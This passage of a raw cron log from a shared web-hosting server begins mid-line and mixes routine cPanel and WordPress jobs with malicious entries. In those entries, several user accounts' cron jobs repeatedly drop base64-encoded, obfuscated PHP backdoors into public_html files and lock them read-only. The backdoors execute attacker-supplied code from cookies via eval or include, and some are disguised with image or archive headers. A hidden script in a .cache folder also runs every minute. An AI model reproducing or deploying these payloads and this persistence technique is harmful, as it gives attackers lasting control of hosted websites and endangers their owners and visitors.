rzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:10:01 medusa CROND[3867]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 15:10:01 medusa CROND[3869]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 15:10:01 medusa CROND[3877]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 15:10:01 medusa CROND[3875]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 15:10:01 medusa CROND[3878]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 15:10:01 medusa CROND[3871]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 15:10:01 medusa CROND[3881]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 15:10:01 medusa CROND[3883]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:10:01 medusa CROND[3885]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:10:01 medusa CROND[3880]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 15:11:01 medusa CROND[19566]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 15:11:01 medusa CROND[19760]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:11:01 medusa CROND[19761]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:11:01 medusa CROND[19763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:11:01 medusa CROND[19765]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:11:01 medusa CROND[19766]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:11:01 medusa CROND[19770]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:11:01 medusa CROND[19771]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:11:01 medusa CROND[19774]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:11:01 medusa CROND[19777]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:11:01 medusa CROND[19780]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:11:01 medusa CROND[19783]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:11:01 medusa CROND[19779]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 15:12:01 medusa CROND[4850]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:12:01 medusa CROND[5042]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:12:01 medusa CROND[5045]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:12:01 medusa CROND[5046]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:12:01 medusa CROND[5053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:12:01 medusa CROND[5054]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:12:01 medusa CROND[5057]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 15:12:01 medusa CROND[5063]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:12:01 medusa CROND[5065]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:12:01 medusa CROND[5066]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 15:12:01 medusa CROND[5068]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:12:01 medusa CROND[5070]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:12:01 medusa CROND[5072]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
